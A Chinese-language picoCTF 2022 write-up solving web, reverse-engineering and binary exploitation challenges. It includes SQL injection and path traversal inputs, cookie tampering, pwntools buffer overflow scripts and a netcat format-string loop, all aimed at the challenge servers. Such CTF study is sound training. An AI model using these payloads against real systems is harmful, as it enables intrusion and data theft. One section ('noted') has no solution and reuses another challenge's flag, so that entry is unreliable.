# picoCTF 2022 Writeup
The CTF challenges writeup for picoCTF 2022.
# Web Exploitation
## Local Authority <span style="color: green;"> [Easy] </span>
### Challenge description
Can you get the flag?
### Solution
進入網站之後可以看到一個登入頁面:

嘗試隨便輸入一組帳密查看網頁變化:

透過 inspector 可以看到多出了一個 secure.js 檔案可以查看,並且裡面給出了正確的帳號密碼,重新回到登入頁並用這組帳號密碼登入就可以看到 flag。
### Summary
Flag: `picoCTF{j5_15_7r4n5p4r3n7_xxxxxxxx}`
## Inspect HTML <span style="color: green;"> [Easy] </span>
### Challenge description
Can you get the flag?
### Solution
打開後使用 inspector 檢查,可以看到 flag 放在原始碼的註解中。
### Summary
Flag: `picoCTF{1n5p3t0r_0f_h7ml_xxxxxxxx}`
## Includes <span style="color: green;"> [Easy] </span>
### Challenge description
Can you get the flag?
### Solution
打開後使用 inspector 檢查,可以看到 flag 被拆開放在 `style.css` 和 `script.js` 的註解中,組合在一起就能拿到 flag。
### Summary
Flag: `picoCTF{1nclu51v17y_1of2_f7w_2of2_xxxxxxxx}`
## SQLiLite <span style="color: orange;"> [Medium] </span>
### Challenge description
Can you login to this website?
### Solution
進入網站後可以看到登入的 panel,嘗試隨意輸入一組帳密後可以看到輸出結果會印出登入時抓取帳號密碼相關資訊的 sql 語句:


嘗試用下面的帳號登入進行 sql injection:
```
username: admin
password: ' or 1=1;
```
登入後可以看到網站回傳登入成功,並提示 flag in plainsight:

接著檢查網頁原始碼之後就能看到 flag 了。
### Summary
Flag: `picoCTF{L00k5_l1k3_y0u_solv3d_it_xxxxxxxx}`
## SQL Direct <span style="color: orange;"> [Medium] </span>
### Challenge description
Connect to this PostgreSQL server and find the flag!
### Solution
用題目給的 command 連上資料庫後,先將目前資料庫中所有的 table 列出來:
``` postgres
pico=# \dt
List of relations
Schema | Name | Type | Owner
--------+-------+-------+----------
public | flags | table | postgres
(1 row)
```
可以看到有一個叫 flags 的 table,猜測 flag 就藏在其中,接著使用sql 語句就能將 flags 中的 flag 給讀出來了。
```postgres
pico=# SELECT * FROM flags;
id | firstname | lastname | address
----+-----------+-----------+----------------------------------------
1 | Luke | Skywalker | picoCTF{L3arN_S0m3_5qL_t0d4Y_xxxxxxxx}
2 | Leia | Organa | Alderaan
3 | Han | Solo | Corellia
(3 rows)
```
### Resource
[PostgreSQL 备忘清单](https://www.isqqw.com/ref/docs/postgres.html)
### Summary
Flag: `picoCTF{L3arN_S0m3_5qL_t0d4Y_xxxxxxxx}`
## Secrets <span style="color: orange;"> [Medium] </span>
### Challenge description
We have several pages hidden. Can you find the one with the flag?
### Solution
從 hint 可以看到,解題思路應該與 folder 有關,打開網站後,用 inspector 檢查網頁可以看到網站上的圖片存放在 `secret/assets/` 資料夾底下:

嘗試 navigate 到 `secret/` 路徑下,發現導航到了另一個 page,並且在 inspector 也可以看到有資料存放在新的 folder中,持續的重複相同的動作最後就能導航到有 flag 的網頁:

接著就能在原始碼中找到 flag 了。
### Summary
Flag: `picoCTF{succ3ss_@h3n1c@10n_xxxxxxxx}`
## Search source <span style="color: orange;"> [Medium] </span>
### Challenge description
The developer of this website mistakenly left an important artifact in the website source, can you find it?
### Solution
題目叫做 search source,估計 flag 是藏在原始碼中,進入網站後,打開 inspector 可以看到很多的檔案被網站 loading 進來,接著在各個檔案中搜尋 "picoCTF" 就可以看到 flag 了。
### Summary
Flag: `picoCTF{1nsp3ti0n_0f_w3bpag3s_xxxxxxxx}`
## Roboto Sans <span style="color: orange;"> [Medium] </span>
### Challenge description
The flag is somewhere on this web application not necessarily on the website. Find it.
### Solution
進入網站後,檢查 `robots.txt` 文件可以發現一串看起來像 base64 編碼過後的文字:

將 `anMvbXlmaWxlLnR4dA==` 做 base64 decode 後會得到 `js/myfile.txt`,接著去訪問對應的路徑之後就能得到 flag。
### Summary
Flag: `picoCTF{Who_D03sN7_L1k5_90B0T5_xxxxxxxx}`
## Power Cookie <span style="color: orange;"> [Medium] </span>
### Challenge description
Can you get the flag?
### Solution
進入網站後,顯示了一個按鈕允許使用者以 guest 的身分繼續:

點擊之後則會給予下面的回應:

題目 Power Cookie 提示了本題與 Cookie 有關,所以打開 inspector/application 檢查 Cookie,可以發現有一個 Cookie `isAdmin` 以明文的方式儲存其值 0,將其改成 1 後 refresh browser 就能得到 flag。
### Summary
Flag: `picoCTF{gr4d3_A_c00k13_xxxxxxxx}`
## Forbidden Paths <span style="color: orange;"> [Medium] </span>
### Challenge description
Can you get the flag?
We know that the website files live in `/usr/share/nginx/html/` and the flag is at `/flag.txt` but the website is filtering absolute file paths. Can you get past the filter to read the flag?
### Solution
可以看到題目給出的網站能夠讀取檔案內容並顯示出來,因此可以透過這個功能將 `/flag.txt` 裡面的 flag 讀取出來。

題目的描述告訴了我們不能直接透過絕對路徑去讀檔案,但還有相對路徑可以使用,輸入 `/usr/share/nginx/html` 到 `/flag.txt` 的相對路徑 `../../../../flag.txt` 就能得到 flag 了。
### Summary
Flag: `picoCTF{7h3_p47h_70_5ucc355_xxxxxxxx}`
## noted <span style="color: red;"> [Hard] </span>
### Challenge description
I made a nice web app that lets you take notes. I'm pretty sure I've followed all the best practices so its definitely secure right?
Note that the headless browser used for the "report" feature does not have access to the internet.
### Solution
### Summary
Flag: `picoCTF{7h3_p47h_70_5ucc355_xxxxxxxx}`
# Reverse Engineering
## unpackme.​py <span style="color: orange;"> [Medium] </span>
### Challenge description
Can you get the flag?
Reverse engineer this [Python program](https://artifacts.picoctf.net/c/50/unpackme.flag.py).
### Solution
打開檔案後可以看到程式會將解密出來的內容送到 `exec()` 去執行:
```python
import base64
from cryptography.fernet import Fernet
payload = b'gAAAAABkzWGWvEp8gLI9AcIn5o-ahDUwkTvM6EwF7YYMZlE-_Gf9rcNYjxIgX4b0ltY6bcxKarib2ds6POclRwCwhsRb1LOXVt4Q3ePtMY4BmHFFZlIHLk05CjwigT7hiI9p3sH9e7Cpk1uO90xbHbuy-mfi3nkmn411aBgwxyWpJvykpkuBIG_nty6zbox3UhbB85TOis0TgM0zG4ht0-GUW4wTq2_5-wkw3kV1ZAisLJHzF-Z9oLMmwFZU0UCAcHaBTGDF5BnVLmUeCGTgzVLSNn6BmB61Yg=='
key_str = 'correctstaplecorrectstaplecorrec'
key_base64 = base64.b64encode(key_str.encode())
f = Fernet(key_base64)
plain = f.decrypt(payload)
exec(plain.decode())
```
將 `exec()` 改成 `print()` 並執行程式來查看解密出來的資料是什麼:
```
pw = input('What\'s the password? ')
if pw == 'batteryhorse':
print('picoCTF{175_chr157m45_xxxxxxxx}')
else:
print('That password is incorrect.')
```
可以看到,flag 就藏在解密出來的內容中。
### Summary
Flag: `picoCTF{175_chr157m45_xxxxxxxx}`
## unpackme <span style="color: orange;"> [Medium] </span>
### Challenge description
Can you get the flag?
Reverse engineer this [binary](https://artifacts.picoctf.net/c/203/unpackme-upx).
### Solution
嘗試執行 binary 觀察行為:
```
$ ./unpackme-upx
What's my favorite number?
```
Binary 要求輸入 favorite number,使用 `gdb` 查看相關的程式:
```c++
gef➤ info functions
All defined functions:
```
可以看到,`gdb` 得不到相關的資訊,而 Hint 提示了這題跟 Upx 有關,並且題目帶了一個 packed 的 tag,所以嘗試使用 Upx 對 binary 解包:
```bash
# Installation
$ sudo apt install upx
```
```
$ upx -d unpackme-upx
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2020
UPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020
File size Ratio Format Name
-------------------- ------ ----------- -----------
1002528 <- 379188 37.82% linux/amd64 unpackme-upx
Unpacked 1 file.
```
成功用 Upx 解包後,重新使用 `gdb` 進行分析:
```c++
gef➤ disas main
...
0x0000000000401ec0 <+125>: call 0x410d30 <__isoc99_scanf>
0x0000000000401ec5 <+130>: mov eax,DWORD PTR [rbp-0x3c]
0x0000000000401ec8 <+133>: cmp eax,0xb83cb
0x0000000000401ecd <+138>: jne 0x401f12 <main+207>
0x0000000000401ecf <+140>: lea rax,[rbp-0x30]
0x0000000000401ed3 <+144>: mov rsi,rax
0x0000000000401ed6 <+147>: mov edi,0x0
0x0000000000401edb <+152>: call 0x401d85 <rotate_encrypt>
...
End of assembler dump.
```
可以看到在 main+125 執行 scanf 後有一段比較的程式,如果 `eax` 等於 `0xb83cb` 的話就會執行 `rotate_encrypt()`,所以猜測 `0xb83cb` 就是 binary 要求的 favorite number,將 `0xb83cb` 轉成十進制 754635 並送入後就能得到 flag 了。
### Summary
Flag: `picoCTF{175_chr157m45_xxxxxxxx}`
## Safe Opener <span style="color: orange;"> [Medium] </span>
### Challenge description
Can you open this safe?
I forgot the key to my safe but this [program](https://artifacts.picoctf.net/c/83/SafeOpener.java) is supposed to help me with retrieving the lost key. Can you help me unlock my safe?
Put the password you recover into the picoCTF flag format like:
`picoCTF{password}`
### Solution
從程式中可以看到:
```java
import java.io.*;
import java.util.*;
public class SafeOpener {
public static void main(String args[]) throws IOException {
BufferedReader keyboard = new BufferedReader(new InputStreamReader(System.in));
Base64.Encoder encoder = Base64.getEncoder(); // Base64 encoder
String encodedkey = "";
String key = "";
int i = 0;
boolean isOpen;
while (i < 3) {
System.out.print("Enter password for the safe: ");
key = keyboard.readLine(); // Your input
encodedkey = encoder.encodeToString(key.getBytes()); // Use base64 encode your input
System.out.println(encodedkey);
isOpen = openSafe(encodedkey);
if (!isOpen) {
System.out.println("You have " + (2 - i) + " attempt(s) left");
i++;
continue;
}
break;
}
}
// Compare password with "cGwzYXMzX2wzdF9tM18xbnQwX3RoM19zYWYz"
public static boolean openSafe(String password) {
String encodedkey = "cGwzYXMzX2wzdF9tM18xbnQwX3RoM19zYWYz";
if (password.equals(encodedkey)) {
System.out.println("Sesame open");
return true;
}
else {
System.out.println("Password is incorrect\n");
return false;
}
}
}
```
題目告訴了我們 password 是 flag 的內容,而從程式中可以看到,使用者輸入的 password 進行 Base64 encode 過後,會與 `cGwzYXMzX2wzdF9tM18xbnQwX3RoM19zYWYz` 進行比較,如果兩者相同就代表輸入正確,因此只要將 `cGwzYXMzX2wzdF9tM18xbnQwX3RoM19zYWYz` 用 Base64 decode 回去就會是 password,也就是 flag 的內容了。
### Summary
Flag: `picoCTF{pl3as3_l3t_m3_1nt0_xxxxxxxx}`
## patchme.​py <span style="color: orange;"> [Medium] </span>
### Challenge description
Can you get the flag?
Run this [Python program](https://artifacts.picoctf.net/c/200/patchme.flag.py) in the same directory as this [encrypted flag](https://artifacts.picoctf.net/c/200/flag.txt.enc).
### Solution
打開 `patchme.flag.py` 後,可以看到程式中會有一段檢查 password 的部分:
```python
def level_1_pw_check():
user_pw = input("Please enter correct password for flag: ")
if( user_pw == "ak98" + \
"-=90" + \
"adfjhgj321" + \
"sleuth9000"):
print("Welcome back... your flag, user:")
decryption = str_xor(flag_enc.decode(), "utilitarian")
print(decryption)
return
print("That password is incorrect")
level_1_pw_check()
```
輸入正確的密碼後,會將 flag 解密並列印出來,而我們可以把驗證密碼的部分刪除,只留下 flag 的相關操作,接著再執行程式就能拿到 flag。
最後的 script:
```python
### THIS FUNCTION WILL NOT HELP YOU FIND THE FLAG --LT ########################
def str_xor(secret, key):
#extend key to secret length
new_key = key
i = 0
while len(new_key) < len(secret):
new_key = new_key + key[i]
i = (i + 1) % len(key)
return "".join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c,new_key_c) in zip(secret,new_key)])
###############################################################################
flag_enc = open('flag.txt.enc', 'rb').read()
decryption = str_xor(flag_enc.decode(), "utilitarian")
print(decryption)
```
### Summary
Flag: `picoCTF{p47ch1ng_l1f3_h4ck_xxxxxxxx}`
## GDB Test Drive <span style="color: orange;"> [Medium] </span>
### Challenge description
Can you get the flag?
Download this [binary](https://artifacts.picoctf.net/c/87/gdbme).
Here's the test drive instructions:
* `$ chmod +x gdbme`
* `$ gdb gdbme`
* `(gdb) layout asm`
* `(gdb) break *(main+99)`
* `(gdb) run`
* `(gdb) jump *(main+104)`
### Solution
跟著題目給的 instructions 一步一步執行就能拿到 flag。
或者可以用一些更簡短的指令縮寫:
```c++
(gdb) layout asm // this step can be skipped
(gdb) b *main+99 // b = break
(gdb) r // r = run
(gdb) j *main+104 // j = jump
```
### Summary
Flag: `picoCTF{d3bugg3r_dr1v3_xxxxxxxx}`
## Fresh Java <span style="color: orange;"> [Medium] </span>
### Challenge description
Can you get the flag?
Reverse engineer this [Java program](https://artifacts.picoctf.net/c/197/KeygenMe.class).
### Solution
這題給的是 Java Class 檔案,必須要 decompile 回去 java 檔案才能查看,可以使用 `cfr` 來進行 decompile:
```bash
$ java -jar ./cfr-0.152.jar KeygenMe.class > KeygenMe.java
```
接著打開 `KeygenMe.java` 檔案就可以看到原始碼:
```java
/*
* Decompiled with CFR 0.152.
*/
import java.util.Scanner;
public class KeygenMe {
public static void main(String[] stringArray) {
Scanner scanner = new Scanner(System.in);
System.out.println("Enter key:");
String string = scanner.nextLine();
if (string.length() != 34) {
System.out.println("Invalid key");
return;
}
if (string.charAt(33) != '}') {
System.out.println("Invalid key");
return;
}
if (string.charAt(32) != '9') {
System.out.println("Invalid key");
return;
...
}
```
可以看到程式會對使用者輸入的字串進行檢查,檢查長度與每個 index 的值是否符合程式中的要求,將這些要求組合在一起就能拿到 flag。
### Resource
[CFR - another java decompiler](https://www.benf.org/other/cfr/)
### Summary
Flag: `picoCTF{700l1ng_r3qu1r3d_xxxxxxxx}`
## file-run1 <span style="color: orange;"> [Medium] </span>
### Challenge description
A program has been provided to you, what happens if you try to run it on the command line?
Download the program [here](https://artifacts.picoctf.net/c/220/run).
### Solution
執行程式就能拿到 flag 了:
```bash
$ chmod +x run
$ ./run
The flag is: picoCTF{U51N6_Y0Ur_F1r57_F113_xxxxxxxx}
```
### Summary
Flag: `picoCTF{U51N6_Y0Ur_F1r57_F113_xxxxxxxx}`
## file-run2 <span style="color: orange;"> [Medium] </span>
### Challenge description
Another program, but this time, it seems to want some input. What happens if you try to run it on the command line with input "Hello!"?
Download the program [here](https://artifacts.picoctf.net/c/157/run).
### Solution
根據題目描述,執行程式的時候帶上 `Hello!` 就能得到 flag 了:
```bash
$ chmod +x run
$ ./run Hello!
The flag is: picoCTF{F1r57_4rgum3n7_xxxxxxxx}
```
### Summary
Flag: `picoCTF{F1r57_4rgum3n7_xxxxxxxx}`
## bloat.​py <span style="color: orange;"> [Medium] </span>
### Challenge description
Can you get the flag?
Run this [Python program](https://artifacts.picoctf.net/c/105/bloat.flag.py) in the same directory as this [encrypted flag](https://artifacts.picoctf.net/c/105/flag.txt.enc).
### Solution
從原始碼中可以看到混淆過後的程式,其中幾個 function 看起來與 flag 有關:
```python
def arg111(arg444):
return arg122(arg444.decode(), a[81]+a[64]+a[79]+a[82]+a[66]+a[64]+a[75]+\
a[75]+a[72]+a[78]+a[77])
```
```python
def arg132():
return open('flag.txt.enc', 'rb').read()
```
```python
def arg122(arg432, arg423):
arg433 = arg423
i = 0
while len(arg433) < len(arg432):
arg433 = arg433 + arg423[i]
i = (i + 1) % len(arg423)
return "".join([chr(ord(arg422) ^ ord(arg442)) for (arg422,arg442) in zip(arg432,arg433)])
```
```python
arg444 = arg132()
arg423 = arg111(arg444)
```
其中 `arg132()` 會讀取 `flag.txt.enc`,也就是被 encode 過後的 flag 值,再送入 `arg111()` 中,`arg111()` 再去調用 `arg122()`,而其他的 func 都與這三個 function 無關,所以可以推測只有這三個 function 會影響 flag
因此,修改 `bloat.flag.py` 最後面的程式直接將 `arg423()` 印出:
```python
...
arg444 = arg132()
arg423 = arg111(arg444)
print(arg423)
```
```bash
$ python3 bloat.flag.py
picoCTF{d30bfu5c4710n_f7w_xxxxxxxx}
```
可以看到 flag 成功的被列印出來。
### Summary
Flag: `picoCTF{d30bfu5c4710n_f7w_xxxxxxxx}`
## Bbbbloat <span style="color: orange;"> [Medium] </span>
### Challenge description
Can you get the flag?
Reverse engineer this [binary](https://artifacts.picoctf.net/c/45/bbbbloat).
### Solution
下載程式後,嘗試執行程式觀察行為:
```
$ ./bbbbloat
What's my favorite number?
```
發現程式要求輸入 favorite number,並且嘗試使用 `gdb` 動態分析後會發現因為混淆的原因,無法正常分析,因此改成使用 ida 來查看程式,打開 `main()` function 並按下 F5 來進行 decompile:
```c
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v4; // [rsp+10h] [rbp-40h] BYREF
int v5; // [rsp+14h] [rbp-3Ch]
char *s; // [rsp+18h] [rbp-38h]
char v7[40]; // [rsp+20h] [rbp-30h] BYREF
unsigned __int64 v8; // [rsp+48h] [rbp-8h]
v8 = __readfsqword(0x28u);
strcpy(v7, "A:4@r%uL4Ff0f9b03=_cf0be55b`e2N");
printf("What's my favorite number? ");
v5 = 863305;
__isoc99_scanf("%d", &v4); // user input
v5 = 863305;
if ( v4 == 549255 ) // compare user input with 549255
{
v5 = 863305;
s = (char *)sub_1249(0LL, v7);
fputs(s, stdout);
putchar(10);
free(s);
}
else
{
puts("Sorry, that's not it!");
}
return 0LL;
}
```
可以看到,使用者的輸入會放在 `&v4` 裡面,並將 `&v4` 與數值 549255 進行比對。重新執行 binary 並輸入 549255 就能得到 flag。
### Summary
Flag: `picoCTF{cu7_7h3_bl047_xxxxxxxx}`
# Binary Exploitation
## x-sixty-what <span style="color: orange;"> [Medium] </span>
### Challenge description
Overflow x64 code
Most problems before this are 32-bit x86. Now we'll consider 64-bit x86 which is a little different! Overflow the buffer and change the return address to the `flag` function in this [program](https://artifacts.picoctf.net/c/63/vuln). [Download source](https://artifacts.picoctf.net/c/63/vuln.c).
### Solution
可以看到題目提供的 source code 中被 `main()` 呼叫的 `vuln()` 具有 overflow 的問題:
```C
#define BUFFSIZE 64
// 省略
void vuln(){
char buf[BUFFSIZE];
gets(buf);
}
```
嘗試使用 `gdb` 對其進行動態分析,而因為 `BUFFSIZE` 的大小為 64,因此用 `pattern create` 建立一個比其稍大一點的 pattern 來測出 return address 的位置:
```C++
gef➤ pattern create 80
[+] Generating a pattern of 80 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaa
[+] Saved as '$_gef0'
```
```C++
gef➤ r
// 省略
Welcome to 64-bit. Give me a string that gets you the flag:
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaa
```
執行程式並將建立好的 pattern 送入之後可以看到 `rbp` 被覆蓋成了 0x6161616161616169,而在 x64 架構中,return address 會被存放在 `rbp+8` 的位址,因此可以用 `pattern search` 算出到達 `rbp` 所需的 padding 長度再加上 8 得出總 padding 長度:
```C++
gef➤ pattern search 0x6161616161616169
[+] Searching for '6961616161616161'/'6161616161616169' with period=8
[+] Found at offset 64 (little-endian search) likely
```
可以得知總共需要長度為 72 的 padding,接著找出要跳轉的 `flag()` function 地址:
```C++
gef➤ x flag
0x401236 <flag>: 0xfa1e0ff3
```
所有資訊都齊全後就可以撰寫 script 來與 server 交互了:
```python
import sys
from pwn import *
host = "saturn.picoctf.net"
port = sys.argv[1]
r = remote(host, port)
flag_address = 0x401236
p = b"a" * 72
p += p64(flag_address)
r.sendlineafter("you the flag:", p)
r.interactive()
```
執行 script 之後發現失敗了,查看題目提供的 Hint 後發現有提到如果遇到 segmentation faults 的話將程式改成跳轉到 `flag()` 中的第二個指令:
> Jump to the second instruction (the one after the first `push`) in the `flag` function, if you're getting mysterious segmentation faults.
查看相關的 address:
```C++
gef➤ disas flag
Dump of assembler code for function flag:
0x0000000000401236 <+0>: endbr64
0x000000000040123a <+4>: push rbp
0x000000000040123b <+5>: mov rbp,rsp
```
`push` 後下一個指令的地址為 `0x40123b`,更改 script 後重新送出就能拿到 flag 了:
```python
flag_address = 0x40123b
```
最後的 script:
```python
import sys
from pwn import *
host = "saturn.picoctf.net"
port = sys.argv[1]
r = remote(host, port)
flag_address = 0x40123b
p = b"a" * 72
p += p64(flag_address)
r.sendlineafter("you the flag:", p)
r.interactive()
```
### Summary
Flag: `picoCTF{b1663r_15_b3773r_xxxxxxxx}`
## RPS <span style="color: orange;"> [Medium] </span>
### Challenge description
Here's a program that plays rock, paper, scissors against you. I hear something good happens if you win 5 times in a row.
The program's source code with the flag redacted can be downloaded [here](https://artifacts.picoctf.net/c/147/game-redacted.c).
Additional details will be available after launching your challenge instance.
### Solution
打開程式後可以看到,有沒有獲勝是透過 `strstr()` function 決定的,而這個函式會尋找 `loses[computer_turn]` 有沒有出現在 `player_turn` 裡面,如果有的話就回傳第一次出現的位置,也就會導致使用者該局獲勝:
```C
bool play () {
char player_turn[100];
srand(time(0));
int r;
printf("Please make your selection (rock/paper/scissors):\n");
r = tgetinput(player_turn, 100);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
int computer_turn = rand() % 3;
printf("You played: %s\n", player_turn);
printf("The computer played: %s\n", hands[computer_turn]);
if (strstr(player_turn, loses[computer_turn])) {
puts("You win! Play again?");
return true;
} else {
puts("Seems like you didn't win this time. Play again?");
return false;
}
}
```
而在接收使用者輸入的地方,並沒有針對使用者的輸入去做驗證,因此可以一次輸入 "rock scissors paper",讓系統不管隨機替 computer 方選擇 rock / scissors / paper 中的哪一種都會判定使用者獲勝。
知道獲勝方式後,連接上 server 回答五次就能得到 flag 了。
### Summary
Flag: `picoCTF{50M3_3X7R3M3_1UCK_xxxxxxxx}`
## flag leak <span style="color: orange;"> [Medium] </span>
### Challenge description
Story telling class 1/2
I'm just copying and pasting with this [program](https://artifacts.picoctf.net/c/93/vuln). What can go wrong? You can view source [here](https://artifacts.picoctf.net/c/93/vuln.c).
### Solution
可以看到 source code 中 `vuln()` 裡面有 format string 的漏洞:
```C
void vuln(){
char flag[BUFSIZE];
char story[128];
readflag(flag, FLAGSIZE);
printf("Tell me a story and then I'll tell you one >> ");
scanf("%127s", story);
printf("Here's a story - \n");
printf(story); // here
printf("\n");
}
```
我們輸入的內容會被儲存在變數 `story` 中,而在列印 `story` 時卻沒有提供格式化字串。此時如果我們將格式化字串放入 `story` 中,我們提供的內容變成格式化字串而沒有提供其他的內容讓 `printf()` 輸出時,就會將 stack 上的資料給讀出來。而從程式中能夠看到,flag 已經被提前讀出放入變數中了,flag 的內容就在 stack 上,因此我們就可以透過這個方法拿到 flag。
我們可以用 `%i$s` 來找到 stack 上存放的第 i 個資料並以 string 的方式列印出來,所以可以簡單地用一個迴圈去暴力搜索 stack 上的資料來得到 flag:
```bash
$ for i in {1..100}; do echo %$i\$s | nc saturn.picoctf.net 64268 | grep "CTF"; done;
CTF{L34k1ng_Fl4g_0ff_St4ck_xxxxxxxx}
```
### Resource
[格式化字符串漏洞原理及其利用详解(附带例题讲解)](https://xz.aliyun.com/t/14253?time__1311=GqAxuDcDRD9D20DlxGoSDyAQUoqmuPhyGhpD)
### Summary
Flag: `picoCTF{L34k1ng_Fl4g_0ff_St4ck_xxxxxxxx}`
## CVE-XXXX-XXXX <span style="color: orange;"> [Medium] </span>
### Challenge description
Enter the CVE of the vulnerability as the flag with the correct flag format:
`picoCTF{CVE-XXXX-XXXXX}` replacing XXXX-XXXXX with the numbers for the matching vulnerability.
The CVE we're looking for is the first recorded remote code execution (RCE) vulnerability in 2021 in the Windows Print Spooler Service, which is available across desktop and server versions of Windows operating systems. The service is used to manage printers and print servers.
### Solution
用 google 搜尋 `Windows Print Spooler Service cve 2021` 等關鍵字,就能找到 CVE 編號。
### Summary
Flag: `picoCTF{CVE-2021-34527}`
## buffer overflow 0 <span style="color: orange;"> [Medium] </span>
### Challenge description
Let's start off simple, can you overflow the correct buffer? The program is available [here](https://artifacts.picoctf.net/c/173/vuln). You can view source [here](https://artifacts.picoctf.net/c/173/vuln.c).
Additional details will be available after launching your challenge instance.
### Solution
從題目給的 source code 中可以看到,當觸發 `sigsegv_handler()` 時就能讓程式印出 flag:
```C
// 省略
void sigsegv_handler(int sig) {
printf("%s\n", flag);
fflush(stdout);
exit(1);
}
```
而 `vuln()` 會使用 `strcpy()` 將 buf1 的資料移動至 buf2,因此只要在 buf1 輸入一定長度的字串,讓 `strcpy()` 將資料複製到 buf2 時能夠 overflow 去存取到不該存取的記憶體區段,造成 segmentation fault 觸發 `sigsegv_handler()` 就可以拿到 flag。
### Summary
Flag: `picoCTF{ov3rfl0ws_ar3nt_that_bad_xxxxxxxx}`
## buffer overflow 1 <span style="color: orange;"> [Medium] </span>
### Challenge description
Control the return address
Now we're cooking! You can overflow the buffer and return to the flag function in the [program](https://artifacts.picoctf.net/c/187/vuln).
You can view source [here](https://artifacts.picoctf.net/c/187/vuln.c).
### Solution
查看 source code 後可以看到,這題要將 flag 列印出來必須訪問 `win()`:
```C
// 省略
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
```
而 `vuln()` 使用 `gets()` 函數接收 user input,因此同樣有 overflow 的問題:
```C
void vuln(){
char buf[BUFSIZE];
gets(buf);
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}
```
所以可以利用 buffer overflow 將 `win()` 的 address 覆蓋上原本的 return address,就能在 `vuln()` 執行完畢時從原本回到 `main()` 變成跳轉至 `win()`。
用 gdb 分析執行檔,透過 `pattern create` 建立 payload 去找出 return address 的地址:
```C++
gef➤ pattern create 50
[+] Generating a pattern of 50 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
[+] Saved as '$_gef0'
```
執行程式後並建立好的 pattern 送入之後可以看到 return address 此時被覆蓋成 laaa,利用 `pattern search` 就可以得到存放 return address 的位置了:
```C++
$eip : 0x6161616c ("laaa"?)
```
```C++
gef➤ pattern search 0x6161616c
[+] Searching for '6c616161'/'6161616c' with period=4
[+] Found at offset 44 (little-endian search) likely
```
可以看到存放 return address 看到在 offset 44 的地方,接著找出 `win()` 的 address:
```C++
gef➤ x win
0x80491f6 <win>: 0xfb1e0ff3
```
所有的資訊都有就可以撰寫 script 了:
```python
import sys
from pwn import *
host = "saturn.picoctf.net"
port = sys.argv[1]
r = remote(host, port)
print(r.recvline().decode())
payload = b"A" * 44 + p32(0x80491f6)
r.sendline(payload)
r.interactive()
```
payload 的部分先放入對應長度的 padding,再接上 `win()` 的地址,然後送出之後就能拿到 flag。
### Summary
Flag: `picoCTF{addr3ss3s_ar3_3asy_xxxxxxxx}`
## buffer overflow 2 <span style="color: orange;"> [Medium] </span>
### Challenge description
Control the return address and arguments
This time you'll need to control the arguments to the function you return to! Can you get the flag from this [program](https://artifacts.picoctf.net/c/142/vuln)?
You can view source [here](https://artifacts.picoctf.net/c/142/vuln.c).
### Solution
跟上題一樣,這題的 flag 同樣需要透過 `win()` 才能拿到,但是這次多了兩個參數的驗證:
```C
// 省略
void win(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xCAFEF00D)
return;
if (arg2 != 0xF00DF00D)
return;
printf(buf);
}
```
一樣使用 `gdb` 進行分析:
```C++
gef➤ pattern create 150
[+] Generating a pattern of 150 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma
[+] Saved as '$_gef0'
```
送入 pattern 後可以看到 return address 在 offset 112 的位置:
```C++
$eip : 0x62616164 ("daab"?)
```
```C++
gef➤ pattern search 0x62616164
[+] Searching for '64616162'/'62616164' with period=4
[+] Found at offset 112 (little-endian search) likely
```
接著找出 `win()` 的 address:
```C++
gef➤ x win
0x8049296 <win>: 0xfb1e0ff3
```
此時透過上一題的方法就可以在 `vuln()` 結束時導向 `win()` 了,但是還有兩個參數的驗證沒有處理,所以 disassemble `win()` 查看對應區域的程式是怎麼驗證的:
```C++
gef➤ disas win
Dump of assembler code for function win:
...
0x0804930c <+118>: cmp DWORD PTR [ebp+0x8],0xcafef00d
0x08049313 <+125>: jne 0x804932f <win+153>
0x08049315 <+127>: cmp DWORD PTR [ebp+0xc],0xf00df00d
0x0804931c <+134>: jne 0x8049332 <win+156>
...
End of assembler dump.
```
可以看到在 win+118 和 win+127 的地方會將 `[ebp+0x8]` 和 `[ebp+0xc]` 與 `0xcafef00d` 和 `0xf00df00d` 進行比較,所以此處就是參數驗證的部分,如果能透過 overflow 將 `[ebp+0x8]` 和 `[ebp+0xc]` 覆蓋成對應的值,就能夠通過驗證。
先在 win+118 的位置設定斷點,再將跳轉到 `win()` 的 payload 加上 pattern 送入程式去測出 `ebp+0x8` 和 `ebp+0xc` 在 offset 多少的地方:
```C++
gef➤ b *win+118
Breakpoint 1 at 0x804930c
```
```C++
gef➤ pattern create 50
[+] Generating a pattern of 50 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
[+] Saved as '$_gef1'
gef➤ r < <(echo -ne "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x96\x92\x04\x08aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama")
```
接著查看 `[ebp+0x8]` 和 `[ebp+0xc]` 的值並用 `pattern search` 確定 offset:
```C++
gef➤ x $ebp+0x8
0xffffce24: 0x61616162
